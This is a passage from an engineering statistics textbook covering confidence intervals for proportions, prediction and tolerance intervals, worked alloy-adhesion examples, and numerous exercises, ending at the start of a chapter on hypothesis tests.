Consider the situation in Example 8-7. How large a sample is required if we want to be 95% confident that the error in using $\hat{p}$ to estimate p is less than 0.05? Using $\hat{p} = 0.12$ as an initial estimate of p, we find from Equation 8-24 that the required sample size is

$$n = \left(\frac{z_{0.025}}{E}\right)^2 \hat{p}(1 - \hat{p}) = \left(\frac{1.96}{0.05}\right)^2 0.12(0.88) \cong 163$$

If we wanted to be *at least* 95% confident that our estimate $\hat{p}$ of the true proportion p was within 0.05 regardless of the value of p, we would use Equation 8-25 to find the sample size

$$n = \left(\frac{z_{0.025}}{E}\right)^2 (0.25) = \left(\frac{1.96}{0.05}\right)^2 (0.25) \cong 385$$

Practical Interpretation: Notice that if we have information concerning the value of p, either from a preliminary sample or from past experience, we could use a smaller sample while maintaining both the desired precision of estimation and the level of confidence.

One-Sided Confidence Bounds

We may find approximate one-sided confidence bounds on p by a simple modification of Equation 8-23.

Approximate One-Sided Confidence Bounds on a Binomial Proportion

The approximate $100(1-\alpha)\%$ lower and upper confidence bounds are

$$\hat{p} - z_\alpha \sqrt{\frac{\hat{p}(1-\hat{p})}{n}} \le p \quad \text{and} \quad p \le \hat{p} + z_\alpha \sqrt{\frac{\hat{p}(1-\hat{p})}{n}} \tag{8-26}$$

respectively.

EXERCISES FOR SECTION 8-4

8-53. The fraction of defective integrated circuits produced in a photolithography process is being studied. A random sample of 300 circuits is tested, revealing 13 defectives.
(a) Calculate a 95% two-sided CI on the fraction of defective circuits produced by this particular tool.
(b) Calculate a 95% upper confidence bound on the fraction of defective circuits.

8-54. An article in *Knee Surgery, Sports Traumatology, Arthroscopy* ["Arthroscopic Meniscal Repair with an Absorbable Screw: Results and Surgical Technique" (2005, Vol. 13, pp. 273–279)] showed that only 25 out of 37 tears (67.6%) located between 3 and 6 mm from the meniscus rim were healed.
(a) Calculate a two-sided 95% confidence interval on the proportion of such tears that will heal.
(b) Calculate a 95% lower confidence bound on the proportion of such tears that will heal.

8-55. The 2004 presidential election exit polls from the critical state of Ohio provided the following results. There were 2020 respondents in the exit polls and 768 were college graduates. Of the college graduates, 412 voted for George Bush.
(a) Calculate a 95% confidence interval for the proportion of college graduates in Ohio who voted for George Bush.
(b) Calculate a 95% lower confidence bound for the proportion of college graduates in Ohio who voted for George Bush.

8-56. Of 1000 randomly selected cases of lung cancer, 823 resulted in death within 10 years.
(a) Calculate a 95% two-sided confidence interval on the death rate from lung cancer.
(b) Using the point estimate of p obtained from the preliminary sample, what sample size is needed to be 95% confident that the error in estimating the true value of p is less than 0.03?
(c) How large must the sample be if we wish to be at least 95% confident that the error in estimating p is less than 0.03, regardless of the true value of p?

8-57. An article in the *Journal of the American Statistical Association* (1990, Vol. 85, pp. 972–985) measured the weight of 30 rats under experiment controls. Suppose that there are 12 underweight rats.
(a) Calculate a 95% two-sided confidence interval on the true proportion of rats that would show underweight from the experiment.
(b) Using the point estimate of p obtained from the preliminary sample, what sample size is needed to be 95% confident that the error in estimating the true value of p is less than 0.02?
(c) How large must the sample be if we wish to be at least 95% confident that the error in estimating p is less than 0.02, regardless of the true value of p?

8-58. A random sample of 50 suspension helmets used by motorcycle riders and automobile race-car drivers was subjected to an impact test, and on 18 of these helmets some damage was observed.
(a) Find a 95% two-sided confidence interval on the true proportion of helmets of this type that would show damage from this test.
(b) Using the point estimate of p obtained from the preliminary sample of 50 helmets, how many helmets must be tested to be 95% confident that the error in estimating the true value of p is less than 0.02?
(c) How large must the sample be if we wish to be at least 95% confident that the error in estimating p is less than 0.02, regardless of the true value of p?

8-59. The Arizona Department of Transportation wishes to survey state residents to determine what proportion of the population would like to increase statewide highway speed limits to 75 mph from 65 mph. How many residents do they need to survey if they want to be at least 99% confident that the sample proportion is within 0.05 of the true proportion?

8-60. A study is to be conducted of the percentage of homeowners who own at least two television sets. How large a sample is required if we wish to be 99% confident that the error in estimating this quantity is less than 0.017?

8-5 GUIDELINES FOR CONSTRUCTING CONFIDENCE INTERVALS

The most difficult step in constructing a confidence interval is often the match of the appropriate calculation to the objective of the study. Common cases are listed in Table 8-1 along with the reference to the section that covers the appropriate calculation for a confidence interval test.

Table 8-1 The Roadmap for Constracting Confidence Intervals and Performing Hypothesis Tests, One-Sample Case

Parameter to Be Bounded by the Confidence Interval or Tested with a Hypothesis?	Symbol	Other Parameters?	Confidence Interval Section	Hypothesis Test Section	Comments
Mean of normal distribution	μ	Standard deviation σ known	8-1	9-2	
Mean of arbitrary distribution with large sample size	μ	Sample size large enough that central limit theorem applies and σ is essentially known	8-1.5	9-2.5	Large sample size is often taken to be $n \geq 40$
Mean of normal distribution	μ	Standard deviation σ unknown and estimated	8-2	9-3	
Variance (or standard deviation) of normal distribution	σ^2	Mean μ unknown and estimated	8-3	9-4	
Population Proportion	p	None	8-4	9-5	

Table 8-1 provides a simple road map to help select the appropriate analysis. Two primary comments can help identify the analysis:

1. Determine the parameter (and the distribution of the data) that will be bounded by the confidence interval or tested by the hypothesis.
2. Check if other parameters are known or need to be estimated.

In Chapter 9, we will study a procedure closely related to confidence intervals called hypothesis testing. Table 8-1 can be used for those procedures also. This road map will be extended to more cases in Chapter 10.

8-6 TOLERANCE AND PREDICTION INTERVALS

8-6.1 Prediction Interval for a Future Observation

In some problem situations, we may be interested in predicting a future observation of a variable. This is a different problem than estimating the mean of that variable, so a confidence interval is not appropriate. In this section we show how to obtain a $100(1 - \alpha)\%$ **prediction interval** on a future value of a normal random variable.

Suppose that $X_1, X_2, \ldots, X_n$ is a random sample from a normal population. We wish to predict the value X_{n+1}, a single **future** observation. A point prediction of X_{n+1} is $\overline{X}$, the sample mean. The prediction error is $X_{n+1} - \overline{X}$. The expected value of the prediction error is

$$E(X_{n+1} - \overline{X}) = \mu - \mu = 0$$

and the variance of the prediction error is

$$V(X_{n+1} - \overline{X}) = \sigma^2 + \frac{\sigma^2}{n} = \sigma^2\left(1 + \frac{1}{n}\right)$$

because the future observation X_{n+1} is independent of the mean of the current sample $\overline{X}$. The prediction error $X_{n+1} - \overline{X}$ is normally distributed. Therefore,

$$Z = \frac{X_{n+1} - \overline{X}}{\sigma\sqrt{1 + \frac{1}{n}}}$$

has a standard normal distribution. Replacing σ with S results in

$$T = \frac{X_{n+1} - \overline{X}}{S\sqrt{1 + \frac{1}{n}}}$$

which has a t distribution with $n - 1$ degrees of freedom. Manipulating T as we have done previously in the development of a CI leads to a prediction interval on the future observation X_{n+1}.

Prediction Interval

A 100(1 − α)% prediction interval (PI) on a single future observation from a normal distribution is given by

$$\bar{x} - t_{\alpha/2,n-1}s\sqrt{1 + \frac{1}{n}} \le X_{n+1} \le \bar{x} + t_{\alpha/2,n-1}s\sqrt{1 + \frac{1}{n}} \qquad (8\text{-}27)$$

The prediction interval for X_{n+1} will always be longer than the confidence interval for μ because there is more variability associated with the prediction error than with the error of estimation. This is easy to see because the prediction error is the difference between two random variables $(X_{n+1} - \overline{X})$, and the estimation error in the CI is the difference between one random variable and a constant $(\overline{X} - \mu)$. As n gets larger $(n \to \infty)$, the length of the CI decreases to zero, essentially becoming the single value μ, but the length of the PI approaches $2z_{\alpha/2}\sigma$. So as n increases, the uncertainty in estimating μ goes to zero, although there will always be uncertainty about the future value X_{n+1} even when there is no need to estimate any of the distribution parameters.

EXAMPLE 8-9 Alloy Adhesion

Reconsider the tensile adhesion tests on specimens of U-700 alloy described in Example 8-5. The load at failure for $n = 22$ specimens was observed, and we found that $\bar{x} = 13.71$ and $s = 3.55$. The 95% confidence interval on μ was $12.14 \le \mu \le 15.28$. We plan to test a twenty-third specimen. A 95% prediction interval on the load at failure for this specimen is

$$\bar{x} - t_{\alpha/2,n-1}s\sqrt{1 + \frac{1}{n}} \le X_{n+1} \le \bar{x} + t_{\alpha/2,n-1}s\sqrt{1 + \frac{1}{n}}$$

$$13.71 - (2.080)3.55\sqrt{1 + \frac{1}{22}} \le X_{23} \le 13.71 + (2.080)3.55\sqrt{1 + \frac{1}{22}}$$

$$6.16 \le X_{23} \le 21.26$$

Practical Interpretation: Notice that the prediction interval is considerably longer than the CI. This is because the CI an estimate of a parameter, while the PI is an interval estimate of a single future observation.

8-6.2 Tolerance Interval for a Normal Distribution

Consider a population of semiconductor processors. Suppose that the speed of these processors has a normal distribution with mean $\mu = 600$ megahertz and standard deviation $\sigma = 30$ megahertz. Then the interval from $600 - 1.96(30) = 541.2$ to $600 + 1.96(30) = 658.8$ megahertz captures the speed of 95% of the processors in this population because the interval from -1.96 to 1.96 captures 95% of the area under the standard normal curve. The interval from $\mu - z_{\alpha/2}\sigma$ to $\mu + z_{\alpha/2}\sigma$ is called a **tolerance interval.**

If μ and σ are unknown, we can use the data from a random sample of size n to compute $\bar{x}$ and s, and then form the interval $(\bar{x} - 1.96s, \bar{x} + 1.96s)$. However, because of sampling variability in $\bar{x}$ and s, it is likely that this interval will contain less than 95% of the values in the population. The solution to this problem is to replace 1.96 by some value that will make the proportion of the distribution contained in the interval 95% with some level of confidence. Fortunately, it is easy to do this.

Tolerance Interval

A **tolerance interval** for capturing at least γ% of the values in a normal distribution with confidence level $100(1 - \alpha)$% is

$$\bar{x} - ks, \qquad \bar{x} + ks$$

where k is a tolerance interval factor found in Appendix Table XII. Values are given for $\gamma = 90\%$, 95%, and 99% and for 90%, 95%, and 99% confidence.

One-sided tolerance bounds can also be computed. The tolerance factors for these bounds are also given in Appendix Table XII.

EXAMPLE 8-10 Alloy Adhesion

Let's reconsider the tensile adhesion tests originally described in Example 8-5. The load at failure for $n = 22$ specimens was observed, and we found that $\bar{x} = 13.71$ and $s = 3.55$. We want to find a tolerance interval for the load at failure that includes 90% of the values in the population with 95% confidence. From Appendix Table XII, the tolerance factor k for $n = 22$, $\gamma = 0.90$, and 95% confidence is $k = 2.264$. The desired tolerance interval is

$$(\bar{x} - ks, \bar{x} + ks)$$

or

$$[13.71 - (2.264)3.55, 13.71 + (2.264)3.55]$$

which reduces to (5.67, 21.74).

Practical Interpretation: We can be 95% confident that at least 90% of the values of load at failure for this particular alloy lie between 5.67 and 21.74 megapascals.

From Appendix Table XII, we note that as $n \to \infty$, the value of k goes to the z-value associated with the desired level of containment for the normal distribution. For example, if we want 90% of the population to fall in the two-sided tolerance interval, k approaches $z_{0.05} = 1.645$ as $n \to \infty$. Note that as $n \to \infty$, a $100(1 - \alpha)$% prediction interval on a future value approaches a tolerance interval that contains $100(1 - \alpha)$% of the distribution.

EXERCISES FOR SECTION 8-6

8-61. Consider the tire-testing data described in Exercise 8-27. Compute a 95% prediction interval on the life of the next tire of this type tested under conditions that are similar to those employed in the original test. Compare the length of the prediction interval with the length of the 95% CI on the population mean.

8-62. Consider the Izod impact test described in Exercise 8-28. Compute a 99% prediction interval on the impact strength of

the next specimen of PVC pipe tested. Compare the length of the prediction interval with the length of the 99% CI on the population mean.

8-63. Consider the syrup-dispensing measurements described in Exercise 8-29. Compute a 95% prediction interval on the syrup volume in the next beverage dispensed. Compare the length of the prediction interval with the length of the 95% CI on the population mean.

8-64. Consider the natural frequency of beams described in Exercise 8-32. Compute a 90% prediction interval on the diameter of the natural frequency of the next beam of this type that will be tested. Compare the length of the prediction interval with the length of the 90% CI on the population mean.

8-65. Consider the rainfall in Exercise 8-33. Compute a 95% prediction interval on the rainfall for the next year. Compare the length of the prediction interval with the length of the 95% CI on the population mean.

8-66. Consider the margarine test described in Exercise 8-36. Compute a 99% prediction interval on the polyunsaturated fatty acid in the next package of margarine that is tested. Compare the length of the prediction interval with the length of the 99% CI on the population mean.

8-67. Consider the television tube brightness test described in Exercise 8-35. Compute a 99% prediction interval on the brightness of the next tube tested. Compare the length of the prediction interval with the length of the 99% CI on the population mean.

8-68. Consider the suspension rod diameter measurements described in Exercise 8-38. Compute a 95% prediction interval on the diameter of the next rod tested. Compare the length of the prediction interval with the length of the 95% CI on the population mean.

8-69. Consider the test on the compressive strength of concrete described in Exercise 8-37. Compute a 90% prediction interval on the next specimen of concrete tested.

8-70. Consider the bottle-wall thickness measurements described in Exercise 8-40. Compute a 90% prediction interval on the wall thickness of the next bottle tested.

8-71. Consider the fuel rod enrichment data described in Exercise 8-41. Compute a 90% prediction interval on the enrichment of the next rod tested. Compare the length of the prediction interval with the length of the 99% CI on the population mean.

8-72. How would you obtain a one-sided prediction bound on a future observation? Apply this procedure to obtain a 95% one-sided prediction bound on the wall thickness of the next bottle for the situation described in Exercise 8-40.

8-73. Consider the tire-testing data in Exercise 8-27. Compute a 95% tolerance interval on the life of the tires that has confidence level 95%. Compare the length of the tolerance interval with the length of the 95% CI on the population mean. Which interval is shorter? Discuss the difference in interpretation of these two intervals.

8-74. Consider the Izod impact test described in Exercise 8-28. Compute a 99% tolerance interval on the impact strength of PVC pipe that has confidence level 90%. Compare the length of the tolerance interval with the length of the 99% CI on the population mean. Which interval is shorter? Discuss the difference in interpretation of these two intervals.

8-75. Consider the syrup-volume data in Exercise 8-29. Compute a 95% tolerance interval on the syrup volume that has confidence level 90%. Compare the length of the tolerance interval with the length of the 95% CI on the population mean.

8-76. Consider the margarine test described in Exercise 8-36. Compute a 99% tolerance interval on the polyunsaturated fatty acid in this particular type of margarine that has confidence level 95%. Compare the length of the tolerance interval with the length of the 99% CI on the population mean. Which interval is shorter? Discuss the difference in interpretation of these two intervals.

8-77. Consider the rainfall data in Exercise 8-33. Compute a 95% tolerance interval that has confidence level 95%. Compare the length of the tolerance interval with the length of the 95% CI on the population mean. Discuss the difference in interpretation of these two intervals.

8-78. Consider the suspension rod diameter data in Exercise 8-38. Compute a 95% tolerance interval on the diameter of the rods described that has 90% confidence. Compare the length of the tolerance interval with the length of the 95% CI on the population mean. Which interval is shorter? Discuss the difference in interpretation of these two intervals.

8-79. Consider the television tube brightness data in Exercise 8-35. Compute a 99% tolerance interval on the brightness of the television tubes that has confidence level 95%. Compare the length of the tolerance interval with the length of the 99% CI on the population mean. Which interval is shorter? Discuss the difference in interpretation of these two intervals.

8-80. Consider the strength-of-concrete data in Exercise 8-37. Compute a 90% tolerance interval on the compressive strength of the concrete that has 90% confidence.

8-81. Consider the fuel rod enrichment data described in Exercise 8-41. Compute a 99% tolerance interval on rod enrichment that has confidence level 95%. Compare the length of the tolerance interval with the length of the 95% CI on the population mean.

8-82. Consider the bottle-wall thickness measurements described in Exercise 8-40.

(a) Compute a 90% tolerance interval on bottle-wall thickness that has confidence level 90%.

(b) Compute a 90% lower tolerance bound on bottle-wall thickness that has confidence level 90%. Why would a lower tolerance bound likely be of interest here?

Supplemental Exercises

8-83. Consider the confidence interval for μ with known standard deviation σ:

$$\bar{x} - z_{\alpha_1}\sigma/\sqrt{n} \le \mu \le \bar{x} + z_{\alpha_2}\sigma/\sqrt{n}$$

where $\alpha_1 + \alpha_2 = \alpha$. Let $\alpha = 0.05$ and find the interval for $\alpha_1 = \alpha_2 = \alpha/2 = 0.025$. Now find the interval for the case $\alpha_1 = 0.01$ and $\alpha_2 = 0.04$. Which interval is shorter? Is there any advantage to a "symmetric" confidence interval?

8-84. A normal population has a known mean of 50 and unknown variance.

(a) A random sample of $n = 16$ is selected from this population, and the sample results are $\bar{x} = 52$ and $s = 8$. How unusual are these results? That is, what is the probability of observing a sample average as large as 52 (or larger) if the known, underlying mean is actually 50?

(b) A random sample of $n = 30$ is selected from this population, and the sample results are $\bar{x} = 52$ and $s = 8$. How unusual are these results?

(c) A random sample of $n = 100$ is selected from this population, and the sample results are $\bar{x} = 52$ and $s = 8$. How unusual are these results?

(d) Compare your answers to parts (a)–(c) and explain why they are the same or different.

8-85. A normal population has known mean $\mu = 50$ and variance $\sigma^2 = 5$. What is the approximate probability that the sample variance is greater than or equal to 7.44? less than or equal to 2.56? For a random sample of size

(a) $n = 16$

(b) $n = 30$

(c) $n = 71$

(d) Compare your answers to parts (a)–(c) for the approximate probability that the sample variance is greater than or equal to 7.44. Explain why this tail probability is increasing or decreasing with increased sample size.

(e) Compare your answers to parts (a)–(c) for the approximate probability that the sample variance is less than or equal to 2.56. Explain why this tail probability is increasing or decreasing with increased sample size.

8-86. An article in the *Journal of Sports Science* (1987, Vol. 5, pp. 261–271) presents the results of an investigation of the hemoglobin level of Canadian Olympic ice hockey players. The data reported are as follows (in g/dl):

15.3	16.0	14.4	16.2	16.2
14.9	15.7	15.3	14.6	15.7
16.0	15.0	15.7	16.2	14.7
14.8	14.6	15.6	14.5	15.2

(a) Given the following probability plot of the data, what is a logical assumption about the underlying distribution of the data?

(b) Explain why this check of the distribution underlying the sample data is important if we want to construct a confidence interval on the mean.

(c) Based on this sample data, a 95% confidence interval for the mean is (15.04, 15.62). Is it reasonable to infer that the true mean could be 14.5? Explain your answer.

(d) Explain why this check of the distribution underlying the sample data is important if we want to construct a confidence interval on the variance.

(e) Based on these sample data, a 95% confidence interval for the variance is (0.22, 0.82). Is it reasonable to infer that the true variance could be 0.35? Explain your answer.

(f) Is it reasonable to use these confidence intervals to draw an inference about the mean and variance of hemoglobin levels

(i) of Canadian doctors? Explain your answer.

(ii) of Canadian children ages 6–12? Explain your answer.

8-87. The article "Mix Design for Optimal Strength Development of Fly Ash Concrete" (*Cement and Concrete Research*, 1989, Vol. 19, No. 4, pp. 634–640) investigates the compressive strength of concrete when mixed with fly ash (a mixture of silica, alumina, iron, magnesium oxide, and other ingredients). The compressive strength for nine samples in dry conditions on the twenty-eighth day are as follows (in megapascals):

40.2	30.4	28.9	30.5	22.4
25.8	18.4	14.2	15.3	

(a) Given the following probability plot of the data, what is a logical assumption about the underlying distribution of the data?

(b) Find a 99% lower one-sided confidence interval on mean compressive strength. Provide a practical interpretation of this interval.

(c) Find a 98% two-sided confidence interval on mean compressive strength. Provide a practical interpretation of this interval and explain why the lower end-point of the interval is or is not the same as in part (b).

(d) Find a 99% upper one-sided confidence interval on the variance of compressive strength. Provide a practical interpretation of this interval.

(e) Find a 98% two-sided confidence interval on the variance of compression strength. Provide a practical interpretation of this interval and explain why the upper end-point of the interval is or is not the same as in part (d).

(f) Suppose that it was discovered that the largest observation 40.2 was misrecorded and should actually be 20.4. Now the sample mean $\bar{x} = 23$ and the sample variance $s^2 = 39.8$. Use these new values and repeat parts (c) and (e). Compare the original computed intervals and the newly computed intervals with the corrected observation value. How does this mistake affect the values of the sample mean, sample variance, and the width of the two-sided confidence intervals?

(g) Suppose, instead, that it was discovered that the largest observation 40.2 is correct, but that the observation 25.8 is incorrect and should actually be 24.8. Now the sample mean $\bar{x} = 25$ and the standard deviation $s = 8.41$. Use these new values and repeat parts (c) and (e). Compare the original computed intervals and the newly computed intervals with the corrected observation value. How does this mistake affect the values of the sample mean, the sample variance, and the width of the two-sided confidence intervals?

(h) Use the results from parts (f) and (g) to explain the effect of mistakenly recorded values on sample estimates. Comment on the effect when the mistaken values are near the sample mean and when they are not.

8-88. An operating system for a personal computer has been studied extensively, and it is known that the standard deviation of the response time following a particular command is $\sigma = 8$ milliseconds. A new version of the operating system is installed, and we wish to estimate the mean response time for the new system to ensure that a 95% confidence interval for μ has a length of at most 5 milliseconds.

(a) If we can assume that response time is normally distributed and that $\sigma = 8$ for the new system, what sample size would you recommend?

(b) Suppose that we are told by the vendor that the standard deviation of the response time of the new system is smaller, say, $\sigma = 6$; give the sample size that you recommend and comment on the effect the smaller standard deviation has on this calculation.

8-89. Consider the hemoglobin data in Exercise 8-86. Find the following:

(a) An interval that contains 95% of the hemoglobin values with 90% confidence.

(b) An interval that contains 99% of the hemoglobin values with 90% confidence.

8-90. Consider the compressive strength of concrete data from Exercise 8-87. Find a 95% prediction interval on the next sample that will be tested.

8-91. The maker of a shampoo knows that customers like this product to have a lot of foam. Ten sample bottles of the product are selected at random and the foam heights observed are as follows (in millimeters): 210, 215, 194, 195, 211, 201, 198, 204, 208, and 196.

(a) Is there evidence to support the assumption that foam height is normally distributed?

(b) Find a 95% CI on the mean foam height.

(c) Find a 95% prediction interval on the next bottle of shampoo that will be tested.

(d) Find an interval that contains 95% of the shampoo foam heights with 99% confidence.

(e) Explain the difference in the intervals computed in parts (b), (c), and (d).

8-92. During the 1999 and 2000 baseball seasons, there was much speculation that the unusually large number of home runs that were hit was due at least in part to a livelier ball. One way to test the "liveliness" of a baseball is to launch the ball at a vertical surface with a known velocity V_L and measure the ratio of the outgoing velocity V_O of the ball to V_L. The ratio $R = V_O/V_L$ is called the coefficient of restitution. Following are measurements of the coefficient of restitution for 40 randomly selected baseballs. The balls were thrown from a pitching machine at an oak surface.

0.6248	0.6237	0.6118	0.6159	0.6298	0.6192
0.6520	0.6368	0.6220	0.6151	0.6121	0.6548
0.6226	0.6280	0.6096	0.6300	0.6107	0.6392
0.6230	0.6131	0.6223	0.6297	0.6435	0.5978
0.6351	0.6275	0.6261	0.6262	0.6262	0.6314
0.6128	0.6403	0.6521	0.6049	0.6170	
0.6134	0.6310	0.6065	0.6214	0.6141	

(a) Is there evidence to support the assumption that the coefficient of restitution is normally distributed?
(b) Find a 99% CI on the mean coefficient of restitution.
(c) Find a 99% prediction interval on the coefficient of restitution for the next baseball that will be tested.
(d) Find an interval that will contain 99% of the values of the coefficient of restitution with 95% confidence.
(e) Explain the difference in the three intervals computed in parts (b), (c), and (d).

8-93. Consider the baseball coefficient of restitution data in Exercise 8-92. Suppose that any baseball that has a coefficient of restitution that exceeds 0.635 is considered too lively. Based on the available data, what proportion of the baseballs in the sampled population are too lively? Find a 95% lower confidence bound on this proportion.

8-94. An article in the *ASCE Journal of Energy Engineering* ["Overview of Reservoir Release Improvements at 20 TVA Dams" (Vol. 125, April 1999, pp. 1–17)] presents data on dissolved oxygen concentrations in streams below 20 dams in the Tennessee Valley Authority system. The observations are (in milligrams per liter): 5.0, 3.4, 3.9, 1.3, 0.2, 0.9, 2.7, 3.7, 3.8, 4.1, 1.0, 1.0, 0.8, 0.4, 3.8, 4.5, 5.3, 6.1, 6.9, and 6.5.
(a) Is there evidence to support the assumption that the dissolved oxygen concentration is normally distributed?
(b) Find a 95% CI on the mean dissolved oxygen concentration.
(c) Find a 95% prediction interval on the dissolved oxygen concentration for the next stream in the system that will be tested.
(d) Find an interval that will contain 95% of the values of the dissolved oxygen concentration with 99% confidence.
(e) Explain the difference in the three intervals computed in parts (b), (c), and (d).

8-95. The tar content in 30 samples of cigar tobacco follows:

1.542	1.585	1.532	1.466	1.499	1.611
1.622	1.466	1.546	1.494	1.548	1.626
1.440	1.608	1.520	1.478	1.542	1.511
1.459	1.533	1.532	1.523	1.397	1.487
1.598	1.498	1.600	1.504	1.545	1.558

(a) Is there evidence to support the assumption that the tar content is normally distributed?
(b) Find a 99% CI on the mean tar content.
(c) Find a 99% prediction interval on the tar content for the next observation that will be taken on this particular type of tobacco.
(d) Find an interval that will contain 99% of the values of the tar content with 95% confidence.
(e) Explain the difference in the three intervals computed in parts (b), (c), and (d).

8-96. A manufacturer of electronic calculators takes a random sample of 1200 calculators and finds that there are eight defective units.
(a) Construct a 95% confidence interval on the population proportion.
(b) Is there evidence to support a claim that the fraction of defective units produced is 1% or less?

8-97. An article in *The Engineer* ("Redesign for Suspect Wiring," June 1990) reported the results of an investigation into wiring errors on commercial transport aircraft that may produce faulty information to the flight crew. Such a wiring error may have been responsible for the crash of a British Midland Airways aircraft in January 1989 by causing the pilot to shut down the wrong engine. Of 1600 randomly selected aircraft, eight were found to have wiring errors that could display incorrect information to the flight crew.
(a) Find a 99% confidence interval on the proportion of aircraft that have such wiring errors.
(b) Suppose we use the information in this example to provide a preliminary estimate of p. How large a sample would be required to produce an estimate of p that we are 99% confident differs from the true value by at most 0.008?
(c) Suppose we did not have a preliminary estimate of p. How large a sample would be required if we wanted to be at least 99% confident that the sample proportion differs from the true proportion by at most 0.008 regardless of the true value of p?
(d) Comment on the usefulness of preliminary information in computing the needed sample size.

8-98. An article in *Engineering Horizons* (Spring 1990, p. 26) reported that 117 of 484 new engineering graduates were planning to continue studying for an advanced degree. Consider this as a random sample of the 1990 graduating class.
(a) Find a 90% confidence interval on the proportion of such graduates planning to continue their education.
(b) Find a 95% confidence interval on the proportion of such graduates planning to continue their education.
(c) Compare your answers to parts (a) and (b) and explain why they are the same or different.
(d) Could you use either of these confidence intervals to determine whether the proportion is actually 0.25? Explain your answer. *Hint:* Use the normal approximation to the binomial.

8-99. An article in the *Journal of Applied Physiology* ["Humidity Does Not Affect Central Nervous System Oxygen Toxicity" (2001, Vol. 91, pp. 1327–1333)] reported that central nervous system (CNS) oxygen toxicity can appear in humans on exposure to oxygen pressures >180 kPa. CNS oxygen toxicity can occur as convulsions (similar to epileptic seizures, grand mal) and loss of consciousness without any warning

symptoms. CNS oxygen toxicity is a risk encountered in several fields of human activity, such as combat diving with closed-circuit breathing apparatus and diving with mixtures of nitrogen and oxygen (nitrox) or nitrogen, oxygen, and helium (trimix) in sport and professional diving to depths >30 m. The risk of oxygen toxicity is always considered when deep diving is planned. The data shown below demonstrate shortened latencies in a dry atmosphere (<10% humidity) in 11 rats at O_2 of 507 kPa. The data collected are as follows:

22	26	19	27	37	27
14	19	23	18	18	

(a) Given the above probability plot of the data, what is a logical assumption about the underlying distribution of the data?
(b) Explain why this check of the distribution underlying the sample data is important if we want to construct a confidence interval on the mean.
(c) Find the 95% confidence interval for the mean.
(d) Explain why this check of the distribution underlying the sample data is important if we want to construct a confidence interval on the variance.
(e) Find the 95% confidence interval for the variance.

8-100. An article in the *Journal of Human Nutrition and Dietetics* ["The Validation of Energy and Protein Intakes by Doubly Labeled Water and 24-Hour Urinary Nitrogen Excretion in Post-Obese Subjects" (1995, Vol. 8, pp. 51–64)] showed the energy intake expressed as a basal metabolic rate, BMR (MJ).

5.40	5.67	5.79	6.85	6.92
5.70	6.08	5.48	5.44	5.51

(a) Use a normal probability plot to check the normality assumption.
(b) Find a 99% two-sided confidence interval on the mean BMR.

MIND-EXPANDING EXERCISES

8-101. An electrical component has a time-to-failure (or lifetime) distribution that is exponential with parameter λ, so the mean lifetime is $\mu = 1/\lambda$. Suppose that a sample of n of these components is put on test, and let X_i be the observed lifetime of component i. The test continues only until the rth unit fails, where $r < n$. This results in a **censored** life test. Let X_1 denote the time at which the first failure occurred, X_2 denote the time at which the second failure occurred, and so on. Then the total lifetime that has been accumulated at test termination is

$$T_r = \sum_{i=1}^{r} X_i + (n - r)X_r$$

We have previously shown in Exercise 7-74 that T_r/r is an unbiased estimator for μ.

(a) It can be shown that $2\lambda T_r$ has a chi-square distribution with $2r$ degrees of freedom. Use this fact to develop a $100(1 - \alpha)\%$ confidence interval for mean lifetime $\mu = 1/\lambda$.
(b) Suppose 20 units were put on test, and the test terminated after 10 failures occurred. The failure times (in hours) are 15, 18, 19, 20, 21, 21, 22, 27, 28, and 29. Find a 95% confidence interval on mean lifetime.

8-102. Consider a two-sided confidence interval for the mean μ when σ is known:

$$\bar{x} - z_{\alpha_1}\sigma/\sqrt{n} \le \mu \le \bar{x} + z_{\alpha_2}\sigma/\sqrt{n}$$

where $\alpha_1 + \alpha_2 = \alpha$. If $\alpha_1 = \alpha_2 = \alpha/2$, we have the usual $100(1 - \alpha)\%$ confidence interval for μ. In the above, when $\alpha_1 \neq \alpha_2$, the interval is not symmetric about μ. The length of the interval is $L = \sigma(z_{\alpha_1} + z_{\alpha_2})/\sqrt{n}$. Prove that the length of the interval L is minimized when

MIND-EXPANDING EXERCISES

$\alpha_1 = \alpha_2 = \alpha/2$. *Hint:* Remember that $\Phi(z_a) = 1 - \alpha$, so $\Phi^{-1}(1 - \alpha) = z_\alpha$, and the relationship between the derivative of a function $y = f(x)$ and the inverse $x = f^{-1}(y)$ is $(d/dy)f^{-1}(y) = 1/[(d/dx)f(x)]$.

8-103. It is possible to construct a **nonparametric tolerance interval** that is based on the extreme values in a random sample of size n from any continuous population. If p is the minimum proportion of the population contained between the smallest and largest sample observations with confidence $1 - \alpha$, it can be shown that

$$np^{n-1} - (n - 1)p^n = \alpha$$

and n is approximately

$$n = \frac{1}{2} + \left(\frac{1 + p}{1 - p}\right)\left(\frac{\chi^2_{\alpha,4}}{4}\right)$$

(a) In order to be 95% confident that at least 90% of the population will be included between the extreme values of the sample, what sample size will be required?

(b) A random sample of 10 transistors gave the following measurements on saturation current (in milliamps): 10.25, 10.41, 10.30, 10.26, 10.19, 10.37, 10.29, 10.34, 10.23, 10.38. Find the limits that contain a proportion p of the saturation current measurements at 95% confidence. What is the proportion p contained by these limits?

8-104. Suppose that $X_1, X_2, \ldots, X_n$ is a random sample from a continuous probability distribution with median $\tilde{\mu}$.

(a) Show that

$$P\{\min(X_i) < \tilde{\mu} < \max(X_i)\} = 1 - \left(\frac{1}{2}\right)^{n-1}$$

Hint: The complement of the event $[\min(X_i) < \tilde{\mu} < \max(X_i)]$ is $[\max(X_i) \le \tilde{\mu}] \cup [\min(X_i) \le \tilde{\mu}]$, but $\max(X_i) \le \tilde{\mu}$ if and only if $X_i \le \tilde{\mu}$ for all i].

(b) Write down a $100(1 - \alpha)\%$ confidence interval for the median $\tilde{\mu}$, where

$$\alpha = \left(\frac{1}{2}\right)^{n-1}$$

8-105. Students in the industrial statistics lab at ASU calculate a lot of confidence intervals on μ. Suppose all these CIs are independent of each other. Consider the next one thousand 95% confidence intervals that will be calculated. How many of these CIs do you expect to capture the true value of μ? What is the probability that between 930 and 970 of these intervals contain the true value of μ?

IMPORTANT TERMS AND CONCEPTS

Chi-squared distribution
Confidence coefficient
Confidence interval
Confidence interval for a population proportion
Confidence interval for the variance of a normal distribution
Confidence intervals for the mean of a normal distribution
Confidence level
Error in estimation
Large sample confidence interval
One-sided confidence bounds
Precision of parameter estimation
Prediction interval
Tolerance interval
Two-sided confidence interval
t distribution

9

Image from Wikipedia: http://commons.wikimedia.org/wiki/File:Crash.arp.600pix.jpg

Tests of Hypotheses for a Single Sample

INTRODUCTION

